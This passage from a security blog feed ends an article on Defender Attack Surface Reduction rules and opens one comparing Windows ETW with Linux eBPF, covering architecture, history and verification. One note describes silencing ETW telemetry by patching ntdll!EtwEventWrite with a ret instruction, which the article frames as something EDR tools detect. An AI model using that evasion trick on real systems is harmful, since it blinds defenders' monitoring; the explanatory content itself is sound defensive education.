No. The Office macro era ended through three layers in combination: (1) **Europol&apos;s Operation LadyBird** on January 27, 2021, the coordinated international takedown of Emotet&apos;s command-and-control infrastructure [@europol-emotet-disrupted-wayback]; (2) **ASR&apos;s 2017-onward Office rules at the enterprise tier**, managed through Intune, Group Policy, or Defender for Endpoint; (3) **the Microsoft 365 Apps internet-macro default block at the consumer and tenant tier**, announced by Tom Gallagher on February 7, 2022 and resumed July 20, 2022 after a brief pause for usability fixes [@ms-techcommunity-internet-macros-2022]. ASR is the enterprise-managed layer. It was not the only layer. The honest version of the story names all three.

Partially yes, and the nuance matters. The interception point (`WdFilter.sys`, registered at altitude 328010 in the FSFilter Anti-Virus band per the IFS allocated-altitudes reference [@ms-learn-ifs-allocated-altitudes]) is **kernel-mode**. The policy evaluation (`MsMpEng.exe`) is **user-mode** at integrity level System. Calling ASR &quot;kernel-mode&quot; without nuance is incomplete; the correct one-line framing is &quot;kernel-mediated interception, user-mode policy evaluation.&quot;

No. Microsoft Learn&apos;s overview page states verbatim: &quot;If you enabled Local Security Authority (LSA) protection (recommended, along with Credential Guard), this rule is redundant&quot; [@ms-learn-asr-overview]. The LSASS ASR rule shows as &quot;not applicable&quot; on devices where LSA Protection is enabled. The &quot;not applicable&quot; state is the correct behaviour, not a misconfiguration.

No. Only two ASR rules skip Warn mode -- &quot;Block credential stealing from the Windows local security authority subsystem&quot; and &quot;Block Office applications from injecting code into other processes&quot; -- both per Microsoft Learn&apos;s overview page [@ms-learn-asr-overview]. Section 4 Generation 3 walks the byte-level proof that the rest of the catalogue (including the Safe Mode reboot rule and the copied-tools rule, two of the five rules the folklore wrongly lists) does support Warn.

Yes -- routinely. The &quot;the SOC never sees ASR&quot; framing is rhetoric, not reality. Multiple rules raise EDR alerts in Defender for Endpoint; every rule except the Webshell rule lands a row in `DeviceEvents` [@ms-learn-asr-reference]. The accurate framing is that ASR blocks rarely require analyst response because there is nothing left to triage once the kernel has returned the operation as failed -- the Frankfurt analyst from this article&apos;s opening never gets paged because the macro never spawned PowerShell. The SOC can hunt, audit, and report on ASR activity at any time; the choice not to triage individual blocks is exactly what a well-tuned preventive layer ought to enable.
&lt;p&gt;Nine years, seven generations, nineteen rules, one structural pivot from nodes to edges, and the same Cohen-1984 ceiling that every behaviour-block list inherits. The Frankfurt analyst from this article&apos;s opening never knew the macro fired -- because the kernel made sure nothing happened. That is the article in one sentence: a quiet layer that converts a credential-stealing-banking-trojan-turned-loader campaign into a single-row telemetry event the SOC routinely ignores, by classifying edges instead of nodes.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;attack-surface-reduction-rules-the-quiet-layer-that-stopped-office-macros&quot; keyTerms={[
  {term: &quot;Attack Surface Reduction (ASR) rules&quot;, definition: &quot;A fixed catalogue (19 rules in May 2026) of behavioural blocks enforced by Microsoft Defender Antivirus on supported Windows editions. Each rule names a specific runtime edge and can be set to Audit, Warn, or Block mode.&quot;},
  {term: &quot;Edge classification&quot;, definition: &quot;Deciding whether a specific runtime relationship between two nodes (process A creating process B, process A opening a handle to LSASS memory) is permitted, as opposed to deciding whether a node (binary) is malicious in isolation.&quot;},
  {term: &quot;WdFilter.sys&quot;, definition: &quot;The Microsoft Defender Antivirus kernel-mode minifilter, registered at altitude 328010 in the FSFilter Anti-Virus band, that intercepts the runtime edges ASR evaluates.&quot;},
  {term: &quot;MsMpEng.exe&quot;, definition: &quot;The user-mode Microsoft Defender Antivirus service that evaluates ASR rule predicates against edges intercepted by WdFilter.sys.&quot;},
  {term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: an attack pattern where the operator imports a signed but vulnerable kernel driver to gain kernel-mode primitives and disable security telemetry.&quot;},
  {term: &quot;Mark of the Web (MOTW)&quot;, definition: &quot;The NTFS Zone.Identifier alternate data stream that marks a file as originating from outside the local machine. The Microsoft 365 Apps internet-macro default block uses MOTW as its trigger.&quot;},
  {term: &quot;Standard protection rules&quot;, definition: &quot;The three ASR rules Microsoft classifies as safe to enable in Block mode without staged rollout: BYOVD, LSASS, and WMI persistence.&quot;},
  {term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary: a signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists.&quot;},
  {term: &quot;Cohen-1984 undecidability&quot;, definition: &quot;Fred Cohen&apos;s 1984 result that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general.&quot;}
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-security</category><category>attack-surface-reduction</category><category>microsoft-defender</category><category>endpoint-security</category><category>office-macros</category><category>edr</category><category>byovd</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>eBPF vs ETW: Two Generations of Kernel Observability</title><link>https://paragmali.com/blog/ebpf-vs-etw-two-generations-of-kernel-observability/</link><guid isPermaLink="true">https://paragmali.com/blog/ebpf-vs-etw-two-generations-of-kernel-observability/</guid><description>Why Windows ETW emits events and Linux eBPF computes them -- and what eBPF-for-Windows reveals about the convergence of two operating systems.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
**ETW (Windows 2000) is event emission only.** Per-CPU lock-free ring buffers, manifest-defined providers, kernel-mediated dispatch. Sessions filter by provider, keyword, and level; every enabled event is fully serialized and crosses the kernel/user boundary.&lt;p&gt;&lt;strong&gt;eBPF (Linux 2014) inverts the model.&lt;/strong&gt; The consumer ships verified bytecode into the kernel; programs filter and aggregate at the hook site before any data crosses the boundary. JIT-compiled, with hooks across kprobe, uprobe, tracepoint, XDP, TC, and LSM.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The verifier is the trust boundary -- and the catch.&lt;/strong&gt; Rice&apos;s theorem says no in-kernel verifier can be simultaneously sound, complete, and decidable. Linux&apos;s verifier trades soundness in the corner cases (CVE-2023-2163 and three predecessors); PREVAIL (the verifier used by eBPF-for-Windows) trades completeness more heavily for stronger formal grounding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;eBPF-for-Windows is the first cross-OS-portable kernel-observability primitive.&lt;/strong&gt; PREVAIL verifies in user mode, &lt;code&gt;bpf2c&lt;/code&gt; transliterates verified bytecode to C, MSVC compiles to a signed &lt;code&gt;.sys&lt;/code&gt; driver. Networking-subset hooks only as of 2026; full kprobe-equivalent coverage is the work in progress.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;1. The SOC Analyst Sees the Same Thing Twice&lt;/h2&gt;
&lt;p&gt;A Security Operations Center analyst opens two &lt;code&gt;Sysmon/Operational&lt;/code&gt; event channels side by side. One channel is streaming from a Red Hat Enterprise Linux host; the other is streaming from a Windows Server 2022 domain controller. The XML configuration is the same. The Event IDs are the same. A &lt;code&gt;ProcessCreate&lt;/code&gt; record from either host carries the same &lt;code&gt;Image&lt;/code&gt;, &lt;code&gt;CommandLine&lt;/code&gt;, &lt;code&gt;ParentImage&lt;/code&gt;, &lt;code&gt;IntegrityLevel&lt;/code&gt;, and &lt;code&gt;Hashes&lt;/code&gt; fields. Detection rules written against one channel match the other. To the analyst, the two operating systems are interchangeable.&lt;/p&gt;
&lt;p&gt;Underneath, they are not even close.&lt;/p&gt;
&lt;p&gt;On the Windows side, every event was emitted by a kernel provider -- &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; -- before the Sysmon user-mode service ever ran its XML filter. The kernel produced a fully formatted event, dropped it into a per-CPU ring buffer, and let user space pick it up. Every enabled event made the kernel-to-user trip in full. The filter inside Sysmon&apos;s user-mode service is what kept the on-disk log small. The wire between the kernel and the consumer carried the full firehose.&lt;/p&gt;
&lt;p&gt;On the Linux side, no kernel module owned by Microsoft is running. The same Sysmon binary is attached to roughly twenty Linux kernel probes through the &lt;code&gt;SysinternalsEBPF&lt;/code&gt; library [@github-com-microsoft-sysmonforlinux]. Each probe is an eBPF program: bytecode that was compiled by clang, verified by the kernel before load, JIT-compiled to native instructions, and attached to a hook inside the kernel [@ebpf-io-is-ebpf]. When &lt;code&gt;execve&lt;/code&gt; fires, the verified program runs on the producing CPU, reads its arguments out of the kernel context, decides whether the call matches the XML configuration&apos;s predicates, and -- only then -- writes a record into a ring buffer. The events that arrive in user space were already filtered inside the kernel. The wire carries only what the configuration cares about.&lt;/p&gt;
&lt;p&gt;The output channels match because Sysmon for Linux is engineered to look exactly like Sysmon for Windows [@github-com-microsoft-sysmonforlinux]. The substrate underneath is engineered for two different decades. ETW is from 2000. eBPF is from 2014. The fourteen-year gap shows up not in features but in &lt;em&gt;how the kernel does its job&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ETW emits. eBPF computes. That gap is the entire generation difference. Everything else in this article is a consequence of it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This article is about why those two designs exist, why the second one is strictly more powerful, why &quot;strictly more powerful&quot; cost the Linux kernel a new class of CVE, and what Microsoft&apos;s &lt;code&gt;microsoft/ebpf-for-windows&lt;/code&gt; [@github-com-for-windows] project -- now in its sixth year of development -- reveals about which design wins at the point of convergence. By the end you will know both substrates well enough to choose between them, understand their failure modes, and see why &quot;two generations&quot; is not marketing language but a literal description of the engineering arc.&lt;/p&gt;
&lt;h2&gt;2. A Tale of Two Lineages&lt;/h2&gt;
&lt;p&gt;In 1992, Van Jacobson and Steven McCanne at Lawrence Berkeley Laboratory wrote a small virtual machine for packet filtering [@tcpdump-org-bpf-usenix93pdf]. In 2000, a separate Microsoft team shipped a kernel event bus inside Windows 2000. Neither group knew the other existed. Each was solving a different version of the same problem: &lt;em&gt;how do you watch the kernel from user space without owning the kernel?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The two answers ran in parallel for twenty-two years before they collided.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1992 -- The BSD Packet Filter.&lt;/strong&gt; McCanne and Jacobson published &quot;The BSD Packet Filter: A New Architecture for User-level Packet Capture&quot; at USENIX Winter 1993, describing work that landed in 4.3BSD-Reno earlier in 1992. The motivation was painfully concrete: &lt;code&gt;tcpdump&lt;/code&gt; was copying every packet through the kernel-user boundary, then discarding the ones the user did not want. BPF moved that filter into the kernel. A tiny two-register, 32-bit virtual machine evaluated a user-supplied predicate against each packet before any copy; only matching packets crossed into user space. The architectural insight that would survive thirty years is one sentence: &lt;em&gt;filter where the data is produced, not where it is consumed.&lt;/em&gt;&lt;/p&gt;

A safe, sandboxed virtual machine inside the Linux kernel that runs user-supplied programs at attached hook points. Programs are written in restricted C, compiled to a 64-bit RISC-style bytecode, statically verified before load, and JIT-compiled to native code. The &quot;extended&quot; version, introduced in Linux 3.18 (December 2014) [@kernel-org-bpf-indexhtml], generalized BPF from a packet-filter language into a general kernel-extensibility mechanism.
&lt;p&gt;&lt;strong&gt;2000 -- Event Tracing for Windows.&lt;/strong&gt; Microsoft shipped ETW with Windows 2000. The reference portal [@learn-microsoft-com-tracing-portal] describes the design Microsoft had been refining since the late 1990s: a kernel-mediated event bus with three roles -- providers, sessions, and consumers -- and per-CPU lock-free ring buffers. ETW&apos;s architectural insight was the inverse of BPF&apos;s: &lt;em&gt;event identity and causal order are first-class. A kernel-mediated dispatch makes them cheap.&lt;/em&gt; A &lt;code&gt;tcpdump&lt;/code&gt; filter wants to throw events away. A security telemetry system wants to keep them, attribute them, and order them.&lt;/p&gt;

A kernel-mediated tracing facility shipped in Windows 2000. Providers (kernel or user-mode components) emit structured events to per-CPU ring buffers; sessions own the buffers and select which providers to enable at which level; consumers receive the event stream either in real time or by reading the on-disk `.etl` log. ETW is documented at `learn.microsoft.com/.../etw/event-tracing-portal` [@learn-microsoft-com-tracing-portal].
&lt;p&gt;&lt;strong&gt;2003-2005 -- DTrace.&lt;/strong&gt; Bryan Cantrill, Mike Shapiro, and Adam Leventhal at Sun Microsystems started work in 2003 on what would become the first production-grade dynamic tracing system. DTrace shipped publicly in Solaris 10 in January 2005 [@en-wikipedia-org-wiki-dtrace] and quickly ported to FreeBSD and macOS. Its central idea -- safe in-kernel scripts attached to probes, with a single language for tracing the entire system -- is the spiritual ancestor of every modern kernel observability tool, including eBPF.Wikipedia gives DTrace&apos;s initial public release as January 2005, with Sun&apos;s internal development starting around 2003. The &quot;DTrace 2003&quot; claim that appears in some retrospectives conflates project inception with public release; we use the 2005 ship date here and note 2003 only as a development start. Linux could not adopt it directly: DTrace is licensed under the CDDL, which is GPLv2-incompatible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2005 -- SystemTap.&lt;/strong&gt; Red Hat attempted to fill the Linux DTrace gap with SystemTap [@sourceware-org-systemtap]. The architectural compromise that doomed it: SystemTap scripts compile to a &lt;em&gt;kernel module&lt;/em&gt;, loaded at runtime. Allowing user-supplied kernel modules to be loaded on demand is a privileged operation by definition, so production SystemTap deployments restricted use to local root. That made the observability case study moot: if you already have root, you can use any debugging tool. SystemTap survives as a niche tracing system; it did not become the Linux answer to DTrace.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1992-2014 -- classic BPF stagnates.&lt;/strong&gt; The original BPF VM kept finding new jobs. Linux Socket Filtering [@kernel-org-networking-filtertxt] ported the BSD filter into the Linux kernel in 1997. seccomp-bpf in 2012 gave it a second job: filtering system calls for sandboxing. But the language remained a 32-bit two-register packet-filter VM. It could not be extended to general kernel observability without rewriting the instruction set architecture from the ground up.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2014 -- eBPF.&lt;/strong&gt; Alexei Starovoitov&apos;s &quot;extended BPF&quot; patch series landed in Linux 3.18 in December 2014 [@kernel-org-bpf-indexhtml], described in LWN&apos;s contemporaneous article on Starovoitov&apos;s eBPF patch set [@lwn-net-articles-603983]. The rewrite was thorough: 64-bit instruction set, eleven registers, maps for in-kernel state, helper calls into kernel APIs, a JIT compiler, and -- the part that mattered most -- a kernel verifier that statically proves safety before any program runs. The verifier is what turned the packet filter into a general kernel extension mechanism. Without it, every BPF program would have to be trusted; with it, untrusted user code can execute in kernel mode.&lt;/p&gt;
&lt;p&gt;By the time eBPF shipped, Windows had ETW everywhere. Linux had &lt;code&gt;auditd&lt;/code&gt;&apos;s pull-based audit log and a handful of &lt;code&gt;perf&lt;/code&gt; events. Then Starovoitov rewrote BPF, and the architectural balance shifted overnight. The next decade of Linux observability was built on the new instruction set. The next decade of Windows observability stayed on ETW. The two designs ran in parallel until 2021, when Microsoft announced that eBPF would also run on Windows.&lt;/p&gt;

flowchart LR
    A[BPF -- 1992 -- LBL]
    B[ETW -- 2000 -- Windows 2000]
    C[DTrace -- 2005 -- Solaris 10]
    D[SystemTap -- 2005 -- Red Hat]
    E[seccomp-bpf -- 2012 -- Linux 3.5]
    F[eBPF -- 2014 -- Linux 3.18]
    G[BPF Trampoline -- 2019 -- Linux 5.5]
    H[BPF Ringbuf -- 2020 -- Linux 5.8]
    I[eBPF for Windows -- 2021 -- Microsoft]
    J[RFC 9669 BPF ISA -- 2024 -- IETF]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; F --&amp;gt; G --&amp;gt; H --&amp;gt; I --&amp;gt; J
&lt;p&gt;The diagram lays the substrate stories side by side. Each arrow is an architectural decision that constrained what came after. The next two sections walk each design end to end -- ETW first, because it is older and emission-only and easier to internalize.&lt;/p&gt;
&lt;h2&gt;3. ETW: Pure Event Emission&lt;/h2&gt;
&lt;p&gt;A natural question that turns out to be the wrong one: &lt;em&gt;why didn&apos;t Microsoft just keep extending performance counters?&lt;/em&gt; By the late 1990s, Windows already had a mature counter facility -- &lt;code&gt;perfmon&lt;/code&gt;, the Windows Performance Counters portal [@learn-microsoft-com-counters-portal]. It exposed CPU percentage, page-fault rate, queue lengths, and hundreds of other scalar metrics. If you wanted to know how loaded your system was, perfmon told you.&lt;/p&gt;
&lt;p&gt;It also told you almost nothing useful for security telemetry.&lt;/p&gt;

Three structural failures of the counter model show up the moment you try to use it as the substrate for an EDR.&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Sampling-rate floor.&lt;/strong&gt; A counter can only be observed at the rate the consumer queries. On a busy host -- sshd children, container init forks, a CI runner -- process-creation rates routinely exceed any sane query rate. The counter aggregates the events it cannot expose into a single integer that hides the structure of what happened.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No identity.&lt;/strong&gt; &quot;Three hundred process creations in the last second&quot; is a counter. &quot;User &lt;code&gt;bob&lt;/code&gt; ran &lt;code&gt;/tmp/.x&lt;/code&gt; with parent &lt;code&gt;/usr/sbin/cron&lt;/code&gt; at 14:33:07.221Z&quot; is an event. The security model requires identity; the counter model erases it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No causal order.&lt;/strong&gt; Two counters sampled in sequence are not causally ordered with respect to the system events they describe. ETW&apos;s per-CPU buffers with QPC timestamps preserve causal order across CPUs to within the timer&apos;s accuracy.&lt;/li&gt;&lt;/ol&gt;

&lt;p&gt;The fix was not a faster perfmon. The fix was an entirely different shape of telemetry. ETW was that shape: push-based, per-event, kernel-attributed, with stable schemas declared up front. The contrast between perfmon (a sampling counter) and ETW (an event bus) is not parametric. The two systems answer different questions. Security needs the event-bus answer.&lt;/p&gt;
&lt;h3&gt;Provider, session, consumer&lt;/h3&gt;
&lt;p&gt;ETW&apos;s data plane has three roles, every one of them a kernel-mediated object.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;provider&lt;/em&gt; is a kernel or user-mode component that calls &lt;code&gt;EventWrite&lt;/code&gt; or &lt;code&gt;EtwWrite&lt;/code&gt; to emit a structured event. Providers identify themselves by GUID. They declare the schema of their events ahead of time: classic providers via MOF, the Vista-and-later manifest format [@learn-microsoft-com-event-tracing] called &lt;code&gt;WEVT&lt;/code&gt;, or TraceLogging [@learn-microsoft-com-logging-portal] for self-describing events. The schema is part of the contract: a consumer that knows the provider&apos;s manifest knows the field layout of every event the provider will ever emit.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;session&lt;/em&gt; is a kernel object created by &lt;code&gt;StartTrace&lt;/code&gt;. It owns a set of per-CPU buffers and a list of enabled providers, with per-provider level and keyword masks. Sessions can write events to disk (&lt;code&gt;.etl&lt;/code&gt; files) or be consumed in real time.The &lt;code&gt;.etl&lt;/code&gt; file extension stands for &quot;Event Trace Log.&quot; It is the on-disk format read by Windows Performance Analyzer and by &lt;code&gt;tracerpt.exe&lt;/code&gt; for post-hoc analysis.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;consumer&lt;/em&gt; is a user-mode process that calls &lt;code&gt;OpenTrace&lt;/code&gt; and &lt;code&gt;ProcessTrace&lt;/code&gt; and receives event callbacks. EDR agents like Sysmon, Defender, and the third-party agents that ship with Microsoft Defender for Endpoint [@learn-microsoft-com-defender-endpoint] are real-time consumers.&lt;/p&gt;

ETW&apos;s three-role architecture. *Providers* emit events into per-CPU ring buffers. *Sessions* are kernel objects that own buffers and select which providers to enable. *Consumers* are user-mode processes that read the buffers in real time or open the on-disk `.etl` file. The taxonomy is defined in the ETW provider documentation [@learn-microsoft-com-event-tracing].
&lt;h3&gt;The per-CPU ring buffer&lt;/h3&gt;
&lt;p&gt;The algorithmic core of ETW is a per-CPU lock-free ring buffer. When a provider on CPU 3 calls &lt;code&gt;EventWrite&lt;/code&gt;, the kernel formats the event according to the provider&apos;s manifest, stamps it with a QPC timestamp, and &lt;code&gt;memcpy&lt;/code&gt;s the result into the per-CPU buffer for CPU 3. A kernel writer thread drains the buffer asynchronously into the session&apos;s destination -- either an &lt;code&gt;.etl&lt;/code&gt; file on disk or a consumer&apos;s callback queue. The producer-side cost is constant: a function call plus a buffered &lt;code&gt;memcpy&lt;/code&gt;, all on the local CPU, with no cross-CPU synchronization.&lt;/p&gt;

The Windows monotonic timestamp source used for ETW event timestamps. QPC is backed by hardware timers (TSC on modern x86, generic counter on ARM64) and provides a high-resolution counter that does not go backward.
&lt;p&gt;QPC guarantees monotonic timestamps per CPU.QPC is monotonic per CPU on modern hardware, but cross-CPU ordering still relies on the kernel writer thread&apos;s serialization when events from different CPUs are merged into a single output stream. Per-event timestamps from different CPUs can be ordered after the fact, but the merge happens in the writer, not in the producer.&lt;/p&gt;

flowchart LR
    P1[Provider on CPU 0]
    P2[Provider on CPU 1]
    P3[Provider on CPU 2]
    B0[Per-CPU buffer 0]
    B1[Per-CPU buffer 1]
    B2[Per-CPU buffer 2]
    W[Kernel writer thread]
    S[Session]
    F[.etl file]
    C[Real-time consumer]
    P1 -- EventWrite --&amp;gt; B0
    P2 -- EventWrite --&amp;gt; B1
    P3 -- EventWrite --&amp;gt; B2
    B0 --&amp;gt; W
    B1 --&amp;gt; W
    B2 --&amp;gt; W
    W --&amp;gt; S
    S --&amp;gt; F
    S --&amp;gt; C
&lt;h3&gt;The cost story&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s reference portal [@learn-microsoft-com-tracing-portal] describes ETW as &quot;high-volume, low-overhead.&quot; That qualitative claim has been the consensus practitioner finding for two decades. The most useful practical writeup is Bruce Dawson&apos;s &lt;em&gt;ETW Central&lt;/em&gt; index [@randomascii-wordpress-com-etw-central], which links to more than forty blog posts on real ETW deployments and measurements. The honest summary, anchored to Dawson&apos;s practical experience plus the architectural reason (per-CPU lock-free buffers and a &lt;code&gt;memcpy&lt;/code&gt; per event), is that typical telemetry configurations sit in the low single-digit-percent CPU range, and pathological &quot;log everything&quot; configurations can reach measurable user-visible slowdowns -- on the order of 5-10% in the worst cases. These are practitioner estimates, not benchmarked figures; the BenchmarkDotNet documentation [@benchmarkdotnet-org-configs-diagnosershtml] for the &lt;code&gt;EtwProfiler&lt;/code&gt; diagnoser explicitly acknowledges the cost: &lt;em&gt;&quot;In order to not affect main results we perform a separate run if any diagnoser is used.&quot;&lt;/em&gt; The overhead is small but it is not zero.&lt;/p&gt;
&lt;p&gt;The cost has a structural cause. ETW has no in-kernel filter. The producer pays the full event-formatting cost on every emission, and the only filter is the session&apos;s level and keyword mask. If you enable a provider, every event that provider emits flows through the buffer. Filtering happens at the consumer, in user mode, after the event has crossed the boundary.&lt;/p&gt;
&lt;h3&gt;The Threat-Intelligence provider&lt;/h3&gt;
&lt;p&gt;ETW providers are not equal. The most architecturally important one for security is &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;, a kernel-only provider that emits signals only the kernel can see: image loads, remote-thread creations, &lt;code&gt;VirtualProtect&lt;/code&gt; changes that flip memory from data to executable. Only a process running under Protected Process Light with the AntiMalware signer [@learn-microsoft-com-downloads-sysmon] can subscribe. That is why Defender, CrowdStrike Falcon, SentinelOne, and Carbon Black [@github-com-providers-docs] all run as PPL-Antimalware: it is the entry ticket to the kernel-only telemetry that distinguishes serious EDR from script-level monitoring.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; ETW&apos;s biggest weakness is that providers run inside the very process they are observing. A process can patch its own copy of &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; with a &lt;code&gt;ret&lt;/code&gt; instruction and silence its own emissions before they reach the kernel buffer. EDR vendors monitor for this integrity violation out of band, treating the patch itself as a high-confidence detection signal. The very existence of the tell is an admission that ETW&apos;s original design assumed an honest user-mode producer -- a reasonable assumption in 2000, increasingly untenable in 2025.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sysmon 6.20 [@learn-microsoft-com-downloads-sysmon], released in 2018, was the version that tied ETW into the modern EDR stack as a turnkey configuration.The 2018 Sysmon 6.20 release added the configuration schema that the cybersecurity community converged on. By 2026, the same XML configuration -- including the &lt;code&gt;ProcessCreate&lt;/code&gt;, &lt;code&gt;NetworkConnect&lt;/code&gt;, &lt;code&gt;ImageLoad&lt;/code&gt;, and &lt;code&gt;FileCreate&lt;/code&gt; event IDs -- works on both Sysmon for Windows and Sysmon for Linux. Sysmon, Microsoft&apos;s own free reference consumer authored by Mark Russinovich and Thomas Garnier [@learn-microsoft-com-downloads-sysmon], demonstrated that an XML configuration plus an ETW consumer plus protected-process status was enough to build a useful EDR. Sysmon is not Defender; it is the open shape that the commercial EDR vendors built proprietary versions of.&lt;/p&gt;
&lt;h3&gt;Closing on ETW&lt;/h3&gt;
&lt;p&gt;ETW emits. Every enabled event crosses the kernel-user boundary, fully formatted, with no in-kernel filtering language whatsoever. The session&apos;s level and keyword mask is a coarse on/off switch, not a programmable filter. Aggregation, sampling, and stack-trace folding happen in user mode, after the event is already across the boundary.&lt;/p&gt;
&lt;p&gt;Now you can read the question that drove Starovoitov&apos;s 2014 rewrite: &lt;em&gt;what if you could filter in the kernel itself? What if you could compute -- not just emit?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;4. eBPF: Programmable In-Kernel Computation&lt;/h2&gt;
&lt;p&gt;The architectural inversion is one sentence. ETW is the producer telling the consumer what happened. eBPF is the consumer telling the producer what to compute. The producer is the kernel; the consumer is a user-mode process that has compiled, verified, and attached a small program that will run inside the kernel at a chosen hook. The roles are inverted, the data flow is inverted, and the trust model is inverted.&lt;/p&gt;
&lt;h3&gt;The lifecycle&lt;/h3&gt;
&lt;p&gt;A canonical eBPF program goes through six stages before it does any useful work. The flow below is the same on every Linux kernel since 3.18, with refinements added over the years for BTF (BPF Type Format), CO-RE (Compile Once, Run Everywhere), and link primitives:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;1. clang -target bpf -O2 -c prog.c -o prog.o            # ELF with BTF
2. fd = bpf(BPF_PROG_LOAD, &amp;amp;attr)                       # kernel verifier runs
3. for each map referenced:
       map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr)
4. link = bpf(BPF_LINK_CREATE, kprobe|tracepoint|xdp|lsm|cgroup, fd)
5. at hook fire: JIT-compiled native code runs on the
   producing CPU, reads context, calls bpf_* helpers,
   writes to map or ringbuf
6. user space mmaps the ringbuf and consumes records
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The lifecycle is documented in the canonical kernel BPF documentation index [@kernel-org-bpf-indexhtml]. It is worth lingering on stage 2. Between the user-space &lt;code&gt;bpf()&lt;/code&gt; syscall and the moment the kernel hands back a file descriptor for the loaded program, a static analyzer runs. That analyzer is the most consequential piece of code in this entire article. We treat it on its own in section 5.&lt;/p&gt;

flowchart TD
    A[&quot;Restricted C source -- (prog.c)&quot;]
    B[&quot;clang -target bpf -- BPF ELF + BTF&quot;]
    C[bpf BPF_PROG_LOAD]
    D[Kernel verifier]
    E[JIT compiler]
    F[Kernel hook]
    G[bpf BPF_MAP_CREATE]
    H[&quot;BPF maps -- (arrays, hashes, ringbuf)&quot;]
    I[&quot;bpf BPF_LINK_CREATE -- (kprobe/xdp/lsm/...)&quot;]
    J[Hook fires]
    K[User space mmap ringbuf]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D
    D --&amp;gt;|reject| Z[E_INVAL to userspace]
    D --&amp;gt;|accept| E --&amp;gt; F
    C --&amp;gt; G --&amp;gt; H
    F --&amp;gt; I --&amp;gt; J
    J --&amp;gt; H
    H --&amp;gt; K
&lt;h3&gt;Hooks: where programs attach&lt;/h3&gt;
&lt;p&gt;The thing that distinguishes eBPF from a packet filter is its hook surface. A &lt;em&gt;hook&lt;/em&gt; is a place inside the kernel where a verified program can be attached, fired at the moment something happens. Linux has a lot of hooks.&lt;/p&gt;

An attachment point in kernel code where a verified eBPF program runs. Different hook types receive different context arguments: a kprobe receives the function&apos;s CPU registers; an XDP program receives a packet buffer; an LSM hook receives the security operation&apos;s parameters. The hook type also determines what helpers and map types the verifier allows.
&lt;p&gt;The hook taxonomy, drawn from the kernel BPF docs [@kernel-org-bpf-indexhtml] and Cilium&apos;s BPF architecture reference [@docs-cilium-io-bpf-architecture], is broad:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kprobe&lt;/code&gt; and &lt;code&gt;kretprobe&lt;/code&gt; -- entry and return of any non-inlined kernel function.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fentry&lt;/code&gt; and &lt;code&gt;fexit&lt;/code&gt; -- BPF trampoline replacement for kprobes, with no &lt;code&gt;int3&lt;/code&gt; trap-frame cost.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;uprobe&lt;/code&gt; -- any user-space symbol in any process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tracepoint&lt;/code&gt; -- stable kernel tracepoints with version-locked schemas.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;perf_event&lt;/code&gt; -- sampling-profile hooks tied to perf events.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XDP&lt;/code&gt; -- driver tail-call, before allocation of an &lt;code&gt;sk_buff&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TC&lt;/code&gt; -- Linux traffic-control qdisc hooks.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LSM&lt;/code&gt; -- Linux Security Module hooks (mandatory-access-control points), available since Linux 5.7.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cgroup&lt;/code&gt;, &lt;code&gt;sched&lt;/code&gt;, &lt;code&gt;sock_ops&lt;/code&gt; -- policy and socket-state hooks.&lt;/li&gt;
&lt;/ul&gt;

flowchart TD
    K[&quot;eBPF -- Programs&quot;]
    T[&quot;Tracing -- (kprobe, fentry, -- uprobe, tracepoint)&quot;]
    N[&quot;Networking -- (XDP, TC, sock_ops, -- sk_lookup)&quot;]
    S[&quot;Security -- (LSM, seccomp, -- landlock)&quot;]
    P[&quot;Policy &amp;amp; scheduling -- (cgroup, sched, -- perf_event)&quot;]
    K --&amp;gt; T
    K --&amp;gt; N
